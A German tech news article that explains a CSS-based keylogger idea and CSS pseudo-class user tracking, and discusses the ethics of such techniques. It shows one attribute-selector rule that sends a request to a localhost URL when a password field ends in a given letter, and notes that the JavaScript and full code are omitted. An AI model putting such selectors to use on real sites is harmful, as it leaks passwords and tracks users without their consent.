Pfui: Was du mit CSS machen könntest, aber nicht solltest
CSS-Code. (Foto: Melody Smart/Shutterstock)
Der Hashtag #DevDiscuss auf Twitter bringt bisweilen skurrile Themen hervor. Hier zeigt euch Aaron Powell, wie ein Keylogger oder User-Tracking verhältnismäßig unkompliziert mit CSS gebaut werden könnte. Für das Processing der Eingaben bedarf es zusätzlich etwas Javascript, aber das gehört im heutigen Web ohnehin zum Entwickler-Dreiklang neben HTML und CSS.
Ein CSS-Keylogger, mit dem keiner rechnet
Keylogger sind die kleinen Programme, die in der Lage sind, jeden eurer Tastendrücke abzugreifen, in eine Textdatei zu schreiben und an den Grinch (oder einen anderen Schurken) zu versenden. Trojaner bringen gerne mal ein solches „Tool“ mit. Es geht aber auch viel einfacher. Der Webentwickler eures „Vertrauens“ könnte schnell einen Keylogger mit CSS gebaut haben – besser, ihr kennt die Risiken.
Wir haben den erforderlichen Code nicht vollständig abgebildet, damit niemand durch einfaches Copy-and-Paste einen Logger bauen kann. Folgenden CSS-Code schlägt Powell vor:
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}Der Code sieht schlanker aus als er letztlich ist, denn er funktioniert so im Wesentlichen zu Fuß. Die Theorie dahinter besagt, dass immer dann, wenn ein Nutzer innerhalb des Passwort-Feldes den Buchstaben A drückt, ein Request an die angegebene URL gesendet wird. Das löst einen Eintrag in einem Server-Log aus, der letztlich ausgelesen werden kann.
Dafür müsste die obige Code-Zeile allerdings für jedes mögliche Zeichen, das in einem Passwort-Feld vorkommen könnte, wiederholt werden. Wäre das gegeben, würde ein Log-Zugriffsberechtigter anhand der Chronologie das eingetippte Passwort auslesen können.
Der identische Code findet sich schon länger in diesem Beitrag des Entwicklers Bramus Van Damme. Van Damme kommt allerdings zu dem Ergebnis, dass es keinen Grund zur Sorge gibt, weil letztlich das Abgreifen etwa von Passwörtern so nicht zuverlässig funktioniere. Immerhin könnten sich Nutzer mit Maus und Tastatur noch im Feld bewegen, was die Chronologie durcheinander brächte.
Dafür bringt Powell ein Javascript ins Spiel, das genau den Grad an Zuverlässigkeit liefern soll, den Van Damme der Lösung abspricht. Das indes widerspricht Van Dammes Einschätzung insoweit nicht, als sich dieser lediglich dagegen wendet, die Technik als „reinen CSS-Keylogger“ zu bezeichnen.
Ein Auslesen per Javascript ist dabei sicherlich ebenso wenig etwas, das ein Entwickler einer Website wissentlich und willentlich implementieren würde, es könnte aber recht einfach in einem kompromittierten Framework oder einem WordPress-Theme untergeschoben werden. Hier spielt auch die Arbeitsweise mancher Frameworks eine begünstigende Rolle. So synchronisiert etwa das populäre React-Framework die Eingabe mit jedem neuen Wert, was das Logging recht sicher werden lässt.
Einen Proof-of-Concept als Chrome-Extension könnt ihr übrigens hier auf Github finden und nachvollziehen. Das Javascript sparen wir uns an dieser Stelle.
Der Schlüssel zu deinem Unternehmenserfolg ist, deine Kund:innen zu verstehen. Lerne in unserem Guide, wie du mit Customer Insights erfolgreicher wirst!
Jetzt lesen!User-Tracking mit CSS-Pseudoklassen
Nach dem gleichen Prinzip ließe sich ein User-Tracking einrichten. Der Code könnte ungefähr so aussehen:
#demo-02 p:hover {
background-color: #f0a;
}
#demo-02 input:focus {
background-color: #bada55;
}
#demo-02 button:active {
color: #ff0000;
}
Anstelle des Wertes background-color könnte hier wieder per background-image auf eine Tracking-Url zugegriffen werden. Ausgangspunkt des Trackings sind die im Beispiel verwendeten Pseudoklassen :hover, :focus und :active. Die Zustandsänderungen zu triggern reicht, um Benutzeraktivität zu erkennen.
Das könnten wir nun nutzen, um etwa in einem Formular zu erkennen, wie sich der Nutzer durch das Formular bewegt, wie lange er auf einzelnen Feldern verweilt, wie die Navigation verläuft oder ob Antworten in Checkboxen nachträglich geändert werden. Auch außerhalb von Formularen können wir ermitteln, wo sich der Nutzer gerade befindet – immerhin reichte :hover ja schon.
Mitte September dieses Jahres legte der Entwickler Lars Wikman unter dem Titel „Is this evil?“ seine Überlegungen offen, CSS-basiertes User-Tracking als Ersatz für die Nutzung einer Analytics-Software zu verwenden. Immerhin würde er auf diese Weise den automatisierten Traffic aus seinen Logs halten können. Letztlich entschied sich Wikman dagegen, weil er der Auffassung ist, dass man mit einem Browser keine Dinge tun sollte, für die er nicht erfunden wurde.
Der Australier Aaron Powell sieht das lockerer. Er ist Ansprechpartner für Entwickler und als solches Angestellter des Software-Herstellers Microsoft. Als aktiver Frontend- und Open-Source-Entwickler bewegt er sich etwa im Umfeld des CMS Umbraco. Webentwickler kennen vielleicht httpstat.us. Das ist ein Service zum Testen, wie eine Website mit unterschiedlichen HTTP-Codes umgeht. Diese werden dazu schlicht der URL mitgegeben.
Powell hatte sich nach eigenen Angaben schon länger mit dem Gedanken beschäftigt, ein paar „ungewöhnliche“ CSS-Anwendungen zu publizieren. Der Hashtag #DevDiscuss auf Twitter gab letztlich den Anstoß.
Wie seht ihr das? Wo sollte die Grenze gezogen werden zwischen dem, was getan werden kann und dem, was getan werden sollte?
Passend dazu: Tailwind CSS: Wie das Beiprodukt eines Seitenprojekts zu einem Multimillionengeschäft wurde
